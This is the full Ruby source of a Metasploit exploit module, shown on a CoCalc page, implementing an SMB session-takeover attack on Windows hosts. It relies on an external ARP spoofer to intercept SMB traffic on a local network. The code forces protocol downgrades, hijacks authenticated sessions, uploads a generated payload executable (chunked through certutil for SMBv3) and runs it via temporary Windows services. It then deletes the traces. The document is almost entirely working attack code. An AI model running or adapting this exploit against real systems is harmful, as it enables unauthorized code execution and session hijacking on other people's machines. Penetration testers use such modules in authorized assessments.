CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/smb/smb_shadow.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ManualRanking
8
9
include Msf::Exploit::Remote::Capture
10
include Msf::Exploit::EXE
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Microsoft Windows SMB Direct Session Takeover',
17
'Description' => %q{
18
This module will intercept direct SMB authentication requests to
19
another host, gaining access to an authenticated SMB session if
20
successful. If the connecting user is an administrator and network
21
logins are allowed to the target machine, this module will execute an
22
arbitrary payload. To exploit this, the target system must try to
23
autheticate to another host on the local area network.
24
25
SMB Direct Session takeover is a combination of previous attacks.
26
27
This module is dependent on an external ARP spoofer. The builtin ARP
28
spoofer was not providing sufficient host discovery. Bettercap v1.6.2
29
was used during the development of this module.
30
31
The original SMB relay attack was first reported by Sir Dystic on March
32
31st, 2001 at @lanta.con in Atlanta, Georgia.
33
},
34
'Author' => [
35
'usiegl00'
36
],
37
'License' => MSF_LICENSE,
38
'Privileged' => true,
39
'Payload' => {},
40
'References' => [
41
['URL', 'https://strontium.io/blog/introducing-windows-10-smb-shadow-attack']
42
],
43
'Arch' => [ARCH_X86, ARCH_X64],
44
'Platform' => 'win',
45
'Targets' => [
46
['Automatic', {}]
47
],
48
'DisclosureDate' => '2021-02-16',
49
'DefaultTarget' => 0,
50
'Notes' => {
51
'Stability' => [ SERVICE_RESOURCE_LOSS ],
52
'Reliability' => [ UNRELIABLE_SESSION ],
53
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]
54
}
55
)
56
)
57
58
register_options(
59
[
60
OptString.new('SHARE', [true, 'The share to connect to', 'ADMIN$']),
61
OptString.new('INTERFACE', [true, 'The name of the interface']),
62
OptString.new('DefangedMode', [true, 'Run in defanged mode', true]),
63
OptString.new('DisableFwd', [true, 'Disable packet forwarding on port 445', true]),
64
OptBool.new('ConfirmServerDialect', [true, 'Confirm the server supports an SMB2 dialect.'])
65
# For future cross LAN work:
66
# OptString.new('GATEWAY', [ true, "The network gateway ip address" ])
67
]
68
)
69
70
deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE', 'RHOST', 'SECRET', 'GATEWAY_PROBE_HOST', 'GATEWAY_PROBE_PORT',
71
'TIMEOUT')
72
end
73
74
def exploit
75
@cleanup_mutex = Mutex.new
76
@cleanedup = true
77
if datastore['DefangedMode'].to_s == 'true'
78
warning = <<~EOF
79
80
Are you SURE you want to modify your port forwarding tables?
81
You MAY contaminate your current network configuration.
82
83
Disable the DefangedMode option if you wish to proceed.
84
EOF
85
fail_with(Failure::BadConfig, warning)
86
end
87
print_good('INFO : Warming up...')
88
print_error('WARNING : Not running as Root. This can cause socket permission issues.') unless Process.uid == 0
89
@sessions = []
90
@sessions_mutex = Mutex.new
91
@drop_packet_ip_port_map = {}
92
@drop_packet_ip_port_mutex = Mutex.new
93
@negotiated_dialect_map = {}
94
@negotiated_dialect_mutex = Mutex.new
95
@confirm_server_dialect = datastore['ConfirmServerDialect'] || false
96
@arp_cache = {}
97
@arp_mutex = Mutex.new
98
@main_threads = []
99
@interface = datastore['INTERFACE'] # || Pcap.lookupdev
100
unless Socket.getifaddrs.map(&:name).include? @interface
101
fail_with(Failure::BadConfig,
102
"Interface not found: #{@interface}")
103
end
104
@ip4 = ipv4_addresses[@interface]&.first
105
fail_with(Failure::BadConfig, "Interface does not have address: #{@interface}") unless @ip4&.count('.') == 3
106
@mac = get_mac(@interface)
107
fail_with(Failure::BadConfig, "Interface does not have mac: #{@interface}") unless @mac && @mac.instance_of?(String)
108
# For future cross LAN work: (Gateway is required.)
109
# @gateip4 = datastore['GATEWAY']
110
# fail_with(Failure::BadConfig, "Invalid Gateway ip address: #{@gateip4}") unless @gateip4&.count(".") == 3
111
# @gatemac = arp(tpa: @gateip4)
112
# fail_with(Failure::BadConfig, "Unable to retrieve Gateway mac address: #{@gateip4}") unless @gatemac && @gatemac.class == String
113
@share = datastore['SHARE']
114
print_status("Self: #{@ip4} | #{@mac}")
115
# print_status("Gateway: #{@gateip4} | #{@gatemac}")
116
disable_p445_fwrd
117
@cleanedup = false
118
start_syn_capture
119
start_ack_capture
120
start_rst_capture
121
print_status('INFO : This module must be run alongside an arp spoofer / poisoner.')
122
print_status('INFO : The arp spoofer used during the testing of this module is bettercap v1.6.2.')
123
main_capture
124
ensure
125
cleanup
126
end
127
128
# This prevents the TCP SYN on port 445 from passing through the filter.
129
# This allows us to have the time to modify the packets before forwarding them.
130
def disable_p445_fwrd
131
if datastore['DisableFwd'] == 'false'
132
print_status('DisableFwd was set to false.')
133
print_status('Packet forwarding on port 445 will not be disabled.')
134
return true
135
end
136
if RUBY_PLATFORM.include?('darwin')
137
pfctl = Rex::FileUtils.find_full_path('pfctl')
138
unless pfctl
139
fail_with(Failure::NotFound, 'The pfctl executable could not be found.')
140
end
141
IO.popen("#{pfctl} -a \"com.apple/shadow\" -f -", 'r+', err: '/dev/null') do |pf|
142
pf.write("block out on #{@interface} proto tcp from any to any port 445\n")
143
pf.close_write
144
end
145
IO.popen("#{pfctl} -e", err: '/dev/null').close
146
elsif RUBY_PLATFORM.include?('linux')
147
iptables = Rex::FileUtils.find_full_path('iptables')
148
unless iptables
149
fail_with(Failure::NotFound, 'The iptables executable could not be found.')
150
end
151
IO.popen("#{iptables} -A FORWARD -i #{@interface} -p tcp --destination-port 445 -j DROP", err: '/dev/null').close
152
else
153
print_error("WARNING : Platform not supported: #{RUBY_PLATFORM}")
154
print_error('WARNING : Packet forwarding on port 445 must be blocked manually.')
155
fail_with(Failure::BadConfig, 'Set DisableFwd to false after blocking port 445 manually.')
156
end
157
print_good('INFO : Packet forwarding on port 445 disabled.')
158
return true
159
end
160
161
# This reverts the changes made in disable_p445_fwrd
162
def reset_p445_fwrd
163
if datastore['DisableFwd'] == 'false'
164
print_status('DisableFwd was set to false.')
165
print_status('Packet forwarding on port 445 will not be reset.')
166
return true
167
end
168
if RUBY_PLATFORM.include?('darwin')
169
pfctl = Rex::FileUtils.find_full_path('pfctl')
170
unless pfctl
171
fail_with(Failure::NotFound, 'The pfctl executable could not be found.')
172
end
173
IO.popen("#{pfctl} -a \"com.apple/shadow\" -F rules", err: '/dev/null').close
174
elsif RUBY_PLATFORM.include?('linux')
175
iptables = Rex::FileUtils.find_full_path('iptables')
176
unless iptables
177
fail_with(Failure::NotFound, 'The iptables executable could not be found.')
178
end
179
IO.popen("#{iptables} -D FORWARD -i #{@interface} -p tcp --destination-port 445 -j DROP", err: '/dev/null').close
180
end
181
print_good('INFO : Packet forwarding on port 445 reset.')
182
return true
183
end
184
185
# This starts the SYN capture thread as part of step two.
186
def start_syn_capture
187
@syn_capture_thread = Rex::ThreadFactory.spawn('SynCaptureThread', false) do
188
c = PacketFu::Capture.new(iface: @interface, promisc: true)
189
c.capture
190
c.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and dst port 445 and tcp[tcpflags] & (tcp-syn) != 0 and tcp[tcpflags] & (tcp-ack) == 0")
191
c.stream.each_data do |data|
192
packet = PacketFu::Packet.parse(data)
193
next if @drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s]
194
195
packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac)
196
packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr))
197
packet.to_w(@interface)
198
end
199
end
200
end
201
202
# This starts the ACK capture thread as part of step two.
203
def start_ack_capture
204
@ack_capture_thread = Rex::ThreadFactory.spawn('AckCaptureThread', false) do
205
c = PacketFu::Capture.new(iface: @interface, promisc: true)
206
c.capture
207
c.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and dst port 445 and tcp[tcpflags] & (tcp-syn) == 0 and tcp[tcpflags] & (tcp-ack) != 0 and tcp[((tcp[12] >> 4) * 4) + 4 : 4] != 0xfe534d42")
208
c.stream.each_data do |data|
209
packet = PacketFu::Packet.parse(data)
210
next if @drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s]
211
212
packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac)
213
packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr))
214
packet.to_w(@interface)
215
end
216
end
217
end
218
219
# This starts the ACK capture thread as part of step two.
220
def start_rst_capture
221
@rst_capture_thread = Rex::ThreadFactory.spawn('RstCaptureThread', false) do
222
c = PacketFu::Capture.new(iface: @interface, promisc: true)
223
c.capture
224
c.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and dst port 445 and tcp[tcpflags] & (tcp-syn) == 0 and tcp[tcpflags] & (tcp-rst) != 0")
225
c.stream.each_data do |data|
226
packet = PacketFu::Packet.parse(data)
227
next if @drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s]
228
229
packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac)
230
packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr))
231
packet.to_w(@interface)
232
end
233
end
234
end
235
236
# This returns a mac string by querying the arp cache by an ip address.
237
# If the address is not in the cache, it uses an arp query.
238
def getarp(ip4)
239
unless @arp_cache[ip4]
240
mac = arp(tpa: ip4)
241
@arp_mutex.synchronize { @arp_cache[ip4] = mac } unless mac == []
242
end
243
return @arp_cache[ip4]
244
end
245
246
# This sends an arp packet out to the network and captures the response.
247
# This allows us to resolve mac addresses in real time.
248
# We need the mac address of the server and client.
249
def arp(smac: @mac, dmac: 'ff:ff:ff:ff:ff:ff',
250
sha: @mac, spa: @ip4,
251
tha: '00:00:00:00:00:00', tpa: '', op: 1,
252
capture: true)
253
p = PacketFu::ARPPacket.new(
254
eth_src: Rex::Socket.eth_aton(smac),
255
eth_dst: Rex::Socket.eth_aton(dmac),
256
arp_src_mac: Rex::Socket.eth_aton(sha),
257
arp_src_ip: Rex::Socket.addr_aton(spa),
258
arp_dst_mac: Rex::Socket.eth_aton(tha),
259
arp_dst_ip: Rex::Socket.addr_aton(tpa),
260
arp_opcode: op
261
)
262
if capture
263
c = PacketFu::Capture.new(iface: @interface)
264
c.capture
265
c.stream.setfilter("arp src #{tpa} and ether dst #{smac}")
266
p.to_w(@interface)
267
sleep 0.5
268
c.save
269
c.array.each do |pkt|
270
pkt = PacketFu::Packet.parse pkt
271
# This decodes the arp packet and returns the query response.
272
if pkt.arp_header.arp_src_ip == Rex::Socket.addr_aton(tpa)
273
return Rex::Socket.eth_ntoa(pkt.arp_header.arp_src_mac)
274
end
275
return Rex::Socket.addr_ntoa(pkt.arp_header.arp_src_ip) if Rex::Socket.eth_ntoa(pkt.arp_header.src_mac) == tha
276
end
277
else
278
p.to_w(@interface)
279
end
280
end
281
282
# This returns a hash of local interfaces and their ip addresses.
283
def ipv4_addresses
284
results = {}
285
Socket.getifaddrs.each do |iface|
286
if iface.addr.ipv4?
287
results[iface.name] = [] unless results[iface.name]
288
results[iface.name] << iface.addr.ip_address
289
end
290
end
291
results
292
end
293
294
=begin For future cross LAN work: (Gateway is required.)
295
def ipv4_gateways
296
results = {}
297
Socket.getifaddrs.each do |iface|
298
if iface.addr.ipv4? & iface.netmask&.ipv4?
299
results[iface.name] = [] unless results[iface.name]
300
results[iface.name] << IPAddr.new(
301
IPAddr.new(iface.addr.ip_address).mask(iface.netmask.ip_address).to_i + 1,
302
IPAddr.new(iface.addr.ip_address).family
303
).to_string
304
end
305
end
306
results
307
end
308
=end
309
310
# This is the main capture thread that handles all SMB packets routed through this module.
311
def main_capture
312
# This makes sense in the context of the paper.
313
# Please read: https://strontium.io/blog/introducing-windows-10-smb-shadow-attack
314
mc = PacketFu::Capture.new(iface: @interface, promisc: true)
315
mc.capture
316
mc.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and dst port 445 and tcp[tcpflags] & (tcp-syn) == 0 and tcp[tcpflags] & (tcp-ack) != 0 and tcp[((tcp[12] >> 4) * 4) + 4 : 4] = 0xfe534d42")
317
mc.stream.each_data do |data|
318
packet = PacketFu::Packet.parse(data)
319
nss = packet.payload[0..3]
320
smb2 = packet.payload[4..]
321
# Only Parse Packets from known sessions
322
if (smb2[0..4] != "\xFFSMB") && !@sessions.include?(packet.ip_header.ip_daddr) && !@drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s]
323
case smb2[11..12]
324
when "\x00\x00" # Negotiate Protocol Request
325
smb_packet = RubySMB::SMB2::Packet::NegotiateRequest.read(smb2)
326
# Dialect Count Set To 1
327
dialect = smb_packet.dialects.first
328
# TODO: We could negotiate different dialects between the server and client, but it would require a more interactive approach.
329
unless smb_packet.dialects.min >= 0x300
330
begin
331
if @negotiated_dialect_map[packet.tcp_header.tcp_src]
332
dialect = @negotiated_dialect_map[packet.tcp_header.tcp_src]
333
elsif @confirm_server_dialect
334
Timeout.timeout(2.75) do
335
rport = packet.tcp_header.tcp_src - rand(42..83)
336
@drop_packet_ip_port_mutex.synchronize do
337
@drop_packet_ip_port_map[packet.ip_header.ip_saddr + rport.to_s] = true
338
end
339
dispatcher = Msf::Exploit::SMB::ShadowMitmDispatcher.new(
340
interface: @interface,
341
mac: @mac,
342
eth_src: Rex::Socket.eth_aton(@mac),
343
eth_dst: Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr)),
344
ip_src: Rex::Socket.addr_iton(packet.ip_header.ip_src),
345
ip_dst: Rex::Socket.addr_iton(packet.ip_header.ip_dst),
346
tcp_src: rport,
347
tcp_dst: packet.tcp_header.tcp_dst,
348
tcp_seq: rand(14540253..3736845241),
349
tcp_ack: 0,
350
tcp_win: packet.tcp_header.tcp_win
351
)
352
dispatcher.send_packet(
353
'',
354
nbss_header: false,
355
tcp_flags: { syn: 1 },
356
tcp_opts: PacketFu::TcpOptions.new.encode("MSS:#{Msf::Exploit::SMB::ShadowMitmDispatcher::TCP_MSS}").to_s
357
)
358
dispatcher.recv_packet
359
dispatcher.send_packet(
360
'',
361
nbss_header: false,
362
tcp_flags: { ack: 1 }
363
)
364
client = RubySMB::Client.new(dispatcher, smb1: true, smb2: true, smb3: false, username: '', password: '')
365
client.negotiate
366
dialect = client.dialect.to_i(16)
367
# pp dialect
368
@drop_packet_ip_port_mutex.synchronize do
369
@drop_packet_ip_port_map[packet.ip_header.ip_saddr + rport.to_s] = false
370
end
371
@negotiated_dialect_mutex.synchronize do
372
@negotiated_dialect_map[packet.tcp_header.tcp_src] = dialect
373
end
374
end
375
# Check if the server supports any SMB2 dialects
376
else
377
# We just assume the server supports the client's minimum dialect.
378
dialect = smb_packet.dialects.min
379
@negotiated_dialect_mutex.synchronize do
380
@negotiated_dialect_map[packet.tcp_header.tcp_src] = dialect
381
end
382
end
383
unless dialect >= 0x300
384
original_size = smb_packet.to_binary_s.size
385
smb_packet.dialects = [dialect]
386
smb_packet.negotiate_context_list = []
387
smb_packet.client_start_time = 0
388
# Re-Calculate Length: (Optional...)
389
# nss = [smb_packet.to_binary_s.size].pack("N")
390
# Add more dialects while keeping the dialect count at one to pad out the message.
391
((original_size - smb_packet.to_binary_s.size) / 2).times { |_i| smb_packet.dialects << dialect }
392
smb_packet.dialect_count = 1
393
packet.payload = "#{nss}#{smb_packet.to_binary_s}"
394
packet.recalc
395
end
396
rescue Timeout::Error, Errno::ECONNREFUSED, RubySMB::Error::CommunicationError, RubySMB::Error::NegotiationFailure => e
397
# We were unable to connect to the server or we were unable to negotiate any SMB2 dialects
398
print_status("Confirm Server Dialect Error: #{e}")
399
end
400
end
401
when "\x00\x01" # Session Setup Request, NTLMSSP_AUTH
402
smb_packet = RubySMB::SMB2::Packet::SessionSetupRequest.read(smb2)
403
if (smb_packet.smb2_header.session_id != 0) && (@negotiated_dialect_map[packet.tcp_header.tcp_src] && @negotiated_dialect_map[packet.tcp_header.tcp_src] < 0x300)
404
# Disable Session
405
@drop_packet_ip_port_mutex.synchronize do
406
@drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s] = true
407
end
408
# Start Main Thread
409
@main_threads << Rex::ThreadFactory.spawn("MainThread#{packet.tcp_header.tcp_src}", false) do
410
main_thread(packet: packet, dialect: @negotiated_dialect_map[packet.tcp_header.tcp_src], dstmac: getarp(packet.ip_header.ip_daddr))
411
end
412
end
413
when "\x00\x03" # Tree Connect Request
414
smb_packet = RubySMB::SMB2::Packet::TreeConnectRequest.read(smb2)
415
# We assume that if we didn't intercept the SessionSetupRequest, the client must be using SMBv3.
416
# SMBv3 requires signing on all TreeConnectRequests.
417
# As we do not have access to the client's session key, we must perform the attack without connecting to a different tree.
418
# The only tree that we are able to do this with is the IPC$ tree, as it has control over the svcctl service controller.
419
if smb_packet.path.include?('\\IPC$'.encode('UTF-16LE')) && (@negotiated_dialect_map[packet.tcp_header.tcp_src].nil? || @negotiated_dialect_map[packet.tcp_header.tcp_src] >= 0x300)
420
# Disable Session
421
@drop_packet_ip_port_mutex.synchronize do
422
@drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s] = true
423
end
424
# Start Main Thread
425
@main_threads << Rex::ThreadFactory.spawn("MainThread#{packet.tcp_header.tcp_src}", false) do
426
# At this point, any SMBv3 version will do in order to conduct the attack.
427
# Their minor protocol differences should not be relevant in this situation.
428
# I just assumed that 0x300 is the least secure, which should be the right one to choose.
429
main_thread(packet: packet, dialect: 0x300, dstmac: getarp(packet.ip_header.ip_daddr))
430
end
431
end
432
end
433
end
434
next if @drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s]
435
436
packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac)
437
packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr))
438
# packet.recalc
439
packet.to_w(@interface)
440
end
441
end
442
443
# This handles a session that has already authenticated to the server.
444
# This allows us to offload the session from the main capture thead.
445
def main_thread(packet:, dialect:, dstmac:)
446
dispatcher = Msf::Exploit::SMB::ShadowMitmDispatcher.new(
447
interface: @interface,
448
mac: @mac,
449
eth_src: Rex::Socket.eth_aton(@mac),
450
eth_dst: Rex::Socket.eth_aton(dstmac),
451
ip_src: Rex::Socket.addr_iton(packet.ip_header.ip_src),
452
ip_dst: Rex::Socket.addr_iton(packet.ip_header.ip_dst),
453
tcp_src: packet.tcp_header.tcp_src,
454
tcp_dst: packet.tcp_header.tcp_dst,
455
tcp_seq: packet.tcp_header.tcp_seq,
456
tcp_ack: packet.tcp_header.tcp_ack,
457
tcp_win: packet.tcp_header.tcp_win
458
)
459
dispatcher.send_packet(packet.payload, nbss_header: false)
460
data = dispatcher.recv_packet
461
if dialect >= 0x300
462
smb_packet = RubySMB::SMB2::Packet::TreeConnectResponse.read(data)
463
else
464
smb_packet = RubySMB::SMB2::Packet::SessionSetupResponse.read(data)
465
end
466
467
address = packet.ip_header.ip_daddr
468
469
smb1 = dialect / 0x100 == 1
470
smb2 = dialect / 0x100 == 2
471
smb3 = dialect / 0x100 == 3
472
client = RubySMB::Client.new(dispatcher, smb1: smb1, smb2: smb2, smb3: smb3, always_encrypt: false, username: '', password: '')
473
474
client.dialect = dialect
475
client.session_id = smb_packet.smb2_header.session_id
476
client.smb2_message_id = smb_packet.smb2_header.message_id + 1
477
client.negotiated_smb_version = dialect
478
479
# SMB3 requires signing on the TreeConnectRequest
480
# We are unable to sign the request, as we do not have the session key.
481
# This means that we have to stay on the same tree during the entire attack.
482
# We can perform the entire attack from the IPC$ tree, at the cost of reduced speed.
483
# Using this separated delivery technique, we can conduct the attack without disconnecting from the tree.
484
if dialect >= 0x300
485
tree = RubySMB::SMB2::Tree.new(client: client, share: "\\\\#{address}\\IPC$", response: smb_packet, encrypt: false)
486
487
print_status('Connecting to the Service Control Manager...')
488
svcctl = tree.open_file(filename: 'svcctl', write: true, read: true)
489
svcctl.bind(endpoint: RubySMB::Dcerpc::Svcctl)
490
scm_handle = svcctl.open_sc_manager_w(address)
491
print_status('Regenerating the payload...')
492
493
filename = rand_text_alpha(8) + '.exe'
494
servicename = rand_text_alpha(8)
495
opts = { servicename: servicename }
496
exe = generate_payload_exe_service(opts)
497
print_status('Uploading payload...')
498
mindex = [exe].pack('m0').bytes.each_slice(1024).to_a.size
499
[exe].pack('m0').bytes.each_slice(1024).to_a.each_with_index do |part, index|
500
partfile = "%SYSTEMROOT%\\#{rand_text_alpha(8)}"
501
print_status("Uploading payload: #{index + 1}/#{mindex}")
502
launch_service(
503
svcctl: svcctl,
504
scm_handle: scm_handle,
505
service: "%COMSPEC% /c echo #{part.pack('C*')} > #{partfile}.b64 & certutil -decodehex #{partfile}.b64 #{partfile} 0x400000001 & type #{partfile} #{(index == 0) ? '>' : '>>'} %SYSTEMROOT%\\#{filename} & del #{partfile} #{partfile}.b64",
506
log: false
507
)
508
end
509
sleep 3
510
print_status("Created \\#{filename}...")
511
else
512
print_status('Connecting to the defined share...')
513
path = "\\\\#{address}\\#{@share}"
514
tree = client.tree_connect(path)
515
516
print_status('Regenerating the payload...')
517
filename = rand_text_alpha(8) + '.exe'
518
servicename = rand_text_alpha(8)
519
opts = { servicename: servicename }
520
exe = generate_payload_exe_service(opts)
521
522
print_status('Uploading payload...')
523
file = tree.open_file(filename: filename, write: true, disposition: RubySMB::Dispositions::FILE_SUPERSEDE)
524
# The MITM dispatcher supports tcp packet fragmentation.
525
file.write(data: exe)
526
527
print_status("Created \\#{filename}...")
528
file.close
529
tree.disconnect!
530
531
print_status('Connecting to the Service Control Manager...')
532
ipc_path = "\\\\#{address}\\IPC$"
533
tree = client.tree_connect(ipc_path)
534
svcctl = tree.open_file(filename: 'svcctl', write: true, read: true)
535
svcctl.bind(endpoint: RubySMB::Dcerpc::Svcctl)
536
scm_handle = svcctl.open_sc_manager_w(address)
537
end
538
539
launch_service(
540
svcctl: svcctl,
541
scm_handle: scm_handle,
542
service: "%SYSTEMROOT%\\#{filename}"
543
)
544
545
@sessions_mutex.synchronize { @sessions << address }
546
sleep 0.5
547
548
# Due to our inability to sign TreeConnectRequests when using SMBv3, we must stay on the same tree.
549
# The IPC$ tree has access to the svcctl service launcher.
550
# We can delete the file by scheduling a command as a service to do so.
551
if dialect >= 0x300
552
print_status("Deleting \\#{filename}...")
553
launch_service(
554
svcctl: svcctl,
555
scm_handle: scm_handle,
556
service: "%COMSPEC% /c del %SYSTEMROOT%\\#{filename}",
557
log: false
558
)
559
560
print_status('Closing service handle...')
561
svcctl.close_service_handle(scm_handle)
562
else
563
print_status('Closing service handle...')
564
svcctl.close_service_handle(scm_handle)
565
tree.disconnect!
566
567
print_status("Deleting \\#{filename}...")
568
tree = client.tree_connect(path)
569
file = tree.open_file(filename: filename, delete: true)
570
file.delete
571
end
572
573
=begin
574
# Prevent STATUS_USER_SESSION_DELETED
575
#sleep 42 <- We must use traffic to prevent the server from closing the connection
576
20.times do
577
sleep 2
578
begin
579
tree.open_file(filename: '.', read: false)
580
rescue RubySMB::Error::UnexpectedStatusCode
581
# Expected STATUS_ACCESS_DENIED
582
end
583
end
584
=end
585
586
tree.disconnect!
587
588
client.disconnect!
589
return true # Done.
590
end
591
592
# Launch a svcctl service by creating, starting, and then deleting it
593
def launch_service(svcctl:, scm_handle:, service:, log: true)
594
service_name = rand_text_alpha(8)
595
display_name = rand_text_alpha(rand(8..32))
596
597
print_status('Creating a new service...') if log
598
svc_handle = svcctl.create_service_w(scm_handle, service_name, display_name, service)
599
600
print_status('Closing service handle...') if log
601
svcctl.close_service_handle(svc_handle)
602
svc_handle = svcctl.open_service_w(scm_handle, service_name)
603
604
print_status('Starting the service...') if log
605
begin
606
svcctl.start_service_w(svc_handle)
607
rescue RubySMB::Dcerpc::Error::SvcctlError
608
# StartServiceW returns an error on success.
609
end
610
611
sleep 0.1
612
613
print_status('Removing the service...') if log
614
svcctl.delete_service(svc_handle)
615
return true
616
end
617
618
# This cleans up and exits all the active threads.
619
def cleanup
620
@cleanup_mutex.synchronize do
621
unless @cleanedup
622
print_status 'Cleaning Up...'
623
@syn_capture_thread.exit if @syn_capture_thread
624
@ack_capture_thread.exit if @ack_capture_thread
625
@rst_capture_thread.exit if @rst_capture_thread
626
@main_threads.map(&:exit) if @main_threads
627
reset_p445_fwrd
628
@cleanedup = true
629
print_status 'Cleaned Up.'
630
end
631
end
632
end
633
end
634
635